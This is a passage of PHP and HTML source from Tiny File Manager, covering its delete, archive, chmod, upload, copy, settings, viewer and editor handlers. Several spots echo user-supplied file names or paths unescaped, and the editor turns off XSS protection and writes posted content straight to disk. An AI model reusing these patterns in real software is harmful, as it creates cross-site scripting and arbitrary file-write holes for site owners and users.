                $response = array (
                    'status'    => 'error',
                    'info'      => "Error while uploading files. Uploaded files $uploads",
                );
            }
        }
    } else {
        $response = array (
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}

// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg('Selected files and folder deleted');
        } else {
            fm_set_msg('Error while deleting items', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';


    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg('Operations with archives are not available', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    $files = $_POST['file'];
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf('Archive <b>%s</b> created', fm_enc($zipname)));
        } else {
            fm_set_msg('Archive not created', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Unpack
if (isset($_GET['unzip']) && !FM_READONLY) {
    $unzip = $_GET['unzip'];
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' && is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg('File not found', 'error');
    }


    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg('Operations with archives are not available', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_GET['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path,null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {
                //TODO:: need to handle the error
                $res = true;
            }
        }

        if ($res) {
            fm_set_msg('Archive unpacked');
        } else {
            fm_set_msg('Archive not unpacked', 'error');
        }

    } else {
        fm_set_msg('File not found', 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Change Perms (not for Windows)
if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg('Permissions changed');
    } else {
        fm_set_msg('Permissions not changed', 'error');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

/*************************** /ACTIONS ***************************/

// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

// check path
if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get parent folder
$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) && fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    //get the allowed file extensions
    function getUploadExt() {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if(FM_UPLOAD_EXTENSION && $extArr) {
            array_walk($extArr, function(&$x) {$x = ".$x";});
            return implode(',', $extArr);
        }
        return '';
    }
    ?>

    <link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.css" rel="stylesheet">
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> Upload from URL</a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
                    <?php echo lng('DestinationFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="form-inline" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <button type="submit" class="btn btn-primary ml-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.js"></script>
    <script>
        Dropzone.options.fileUploader = {
            timeout: 120000,
            maxFilesize: <?php echo MAX_UPLOAD_SIZE; ?>,
            acceptedFiles : "<?php echo getUploadExt() ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    let _response = JSON.parse(res.xhr.response);
                    if(_response.status == "error") {
                        toast(_response.info);
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php
    fm_show_footer();
    exit;
}

// copy form POST
if (isset($_POST['copy']) && !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg('Nothing selected', 'alert');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <div class="card <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><?php echo lng('Files') ?>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><?php echo lng('SourceFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><?php echo lng('DestinationFolder') ?>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label" style="vertical-align: sub"> <?php echo lng('Move') ?></label></p>
                    <p>
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> &nbsp;
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// copy form
if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            Source path: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i>Select folder</i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php
            }
            foreach ($folders as $f) {
                ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
                <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <i class="fa fa-cog"></i>  <?php echo lng('Settings') ?>
                <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-control" id="js-language" name="js-language">
                                <?php
                                function getSelected($l) {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' ".getSelected($k).">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <?php
                    //get ON/OFF and active class
                    function getChecked($conf, $val, $txt) {
                        if($conf== 1 && $val ==1) {
                            return $txt;
                        } else if($conf == '' && $val == '') {
                            return $txt;
                        } else {
                            return '';
                        }
                    }
                    ?>
                    <div class="form-group row">
                        <label for="js-err-rpt-1" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($report_errors, 1, 'active') ?>">
                                    <input type="radio" name="js-error-report" id="js-err-rpt-1" autocomplete="off" value="true" <?php echo getChecked($report_errors, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($report_errors, '', 'active') ?>">
                                    <input type="radio" name="js-error-report" id="js-err-rpt-0" autocomplete="off" value="false" <?php echo getChecked($report_errors, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-hdn-1" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($show_hidden_files, 1, 'active') ?>">
                                    <input type="radio" name="js-show-hidden" id="js-hdn-1" autocomplete="off" value="true" <?php echo getChecked($show_hidden_files, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($show_hidden_files, '', 'active') ?>">
                                    <input type="radio" name="js-show-hidden" id="js-hdn-0" autocomplete="off" value="false" <?php echo getChecked($show_hidden_files, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-hid-1" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($hide_Cols, 1, 'active') ?>">
                                    <input type="radio" name="js-hide-cols" id="js-hid-1" autocomplete="off" value="true" <?php echo getChecked($hide_Cols, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($hide_Cols, '', 'active') ?>">
                                    <input type="radio" name="js-hide-cols" id="js-hid-0" autocomplete="off" value="false" <?php echo getChecked($hide_Cols, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-dir-1" class="col-sm-3 col-form-label"><?php echo lng('CalculateFolderSize') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($calc_folder, 1, 'active') ?>">
                                    <input type="radio" name="js-calc-folder" id="js-dir-1" autocomplete="off" value="true" <?php echo getChecked($calc_folder, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($calc_folder, '', 'active') ?>">
                                    <input type="radio" name="js-calc-folder" id="js-dir-0" autocomplete="off" value="false" <?php echo getChecked($calc_folder, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?>
                <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3></p>
                        <p>Author: Prasath Mani</p>
                        <p>Mail Us: <a href="mailto:ccpprogrammers@gmail.com">ccpprogrammers[at]gmail.com</a> </p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <li class="list-group-item"><a href="javascript:latest_release_info('<?php echo VERSION; ?>');"><i class="fa fa-link"> </i> <?php echo lng('Check Latest Version') ?></a></li>
                                <?php if(!FM_READONLY) { ?>
                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="Password" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// file viewer
if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $quickView = (isset($_GET['quickView']) && $_GET['quickView'] == 1) ? true : false;
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || in_array($file, $GLOBALS['exclude_items'])) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    if(!$quickView) {
        fm_show_header(); // HEADER
        fm_show_nav_path(FM_PATH); // current path
    }

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = fm_get_filesize(filesize($file_path));

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())){
        $is_onlineViewer = true;
    }
    elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="row">
        <div class="col-12">
            <?php if(!$quickView) { ?>
                <p class="break-word"><b><?php echo $view_title ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p>
                <p class="break-word">
                    Full path: <?php echo fm_enc(fm_convert_win($file_path)) ?><br>
                    File
                    size: <?php echo fm_get_filesize($filesize) ?><?php if ($filesize >= 1000): ?> (<?php echo sprintf('%s bytes', $filesize) ?>)<?php endif; ?>
                    <br>
                    MIME-type: <?php echo $mime_type ?><br>
                    <?php
                    // ZIP info
                    if (($is_zip || $is_gzip) && $filenames !== false) {
                        $total_files = 0;
                        $total_comp = 0;
                        $total_uncomp = 0;
                        foreach ($filenames as $fn) {
                            if (!$fn['folder']) {
                                $total_files++;
                            }
                            $total_comp += $fn['compressed_size'];
                            $total_uncomp += $fn['filesize'];
                        }
                        ?>
                        Files in archive: <?php echo $total_files ?><br>
                        Total size: <?php echo fm_get_filesize($total_uncomp) ?><br>
                        Size in archive: <?php echo fm_get_filesize($total_comp) ?><br>
                        Compression: <?php echo round(($total_comp / $total_uncomp) * 100) ?>%<br>
                        <?php
                    }
                    // Image info
                    if ($is_image) {
                        $image_size = getimagesize($file_path);
                        echo 'Image sizes: ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
                    }
                    // Text info
                    if ($is_text) {
                        $is_utf8 = fm_is_utf8($content);
                        if (function_exists('iconv')) {
                            if (!$is_utf8) {
                                $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                            }
                        }
                        echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
                    }
                    ?>
                </p>
                <p>
                    <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></a></b> &nbsp;
                    <b><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                    &nbsp;
                    <?php
                    // ZIP actions
                    if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) {
                        $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                        ?>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;unzip=<?php echo urlencode($file) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></a></b> &nbsp;
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;unzip=<?php echo urlencode($file) ?>&amp;tofolder=1" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i>
                                <?php echo lng('UnZipToFolder') ?></a></b> &nbsp;
                        <?php
                    }
                    if ($is_text && !FM_READONLY) {
                        ?>
                        <b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                            </a></b> &nbsp;
                        <b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                              class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
                            </a></b> &nbsp;
                    <?php } ?>
                    <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
                </p>
                <?php
            }
            if($is_onlineViewer) {
                if($online_viewer == 'google') {
                    echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                } else if($online_viewer == 'microsoft') {
                    echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                }
            } elseif ($is_zip) {
                // ZIP content
                if ($filenames !== false) {
                    echo '<code class="maxheight">';
                    foreach ($filenames as $fn) {
                        if ($fn['folder']) {
                            echo '<b>' . fm_enc($fn['name']) . '</b><br>';
                        } else {
                            echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                        }
                    }
                    echo '</code>';
                } else {
                    echo '<p>Error while fetching archive info</p>';
                }
            } elseif ($is_image) {
                // Image content
                if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg'))) {
                    echo '<p><img src="' . fm_enc($file_url) . '" alt="" class="preview-img"></p>';
                }
            } elseif ($is_audio) {
                // Audio content
                echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>';
            } elseif ($is_video) {
                // Video content
                echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
            } elseif ($is_text) {
                if (FM_USE_HIGHLIGHTJS) {
                    // highlight
                    $hljs_classes = array(
                        'shtml' => 'xml',
                        'htaccess' => 'apache',
                        'phtml' => 'php',
                        'lock' => 'json',
                        'svg' => 'xml',
                    );
                    $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                    if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                        $hljs_class = 'nohighlight';
                    }
                    $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>';
                } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                    // php highlight
                    $content = highlight_string($content, true);
                } else {
                    $content = '<pre>' . fm_enc($content) . '</pre>';
                }
                echo $content;
            }
            ?>
        </div>
    </div>
    <?php
    if(!$quickView) {
        fm_show_footer();
    }
    exit;
}

// file editor
if (isset($_GET['edit'])) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file)) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg('File Saved Successfully');
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="Fullscreen"><i class="fa fa-expand" title="Fullscreen"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="Search"><i class="fa fa-search" title="Search"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="Undo"><i class="fa fa-undo" title="Undo"></i></button>
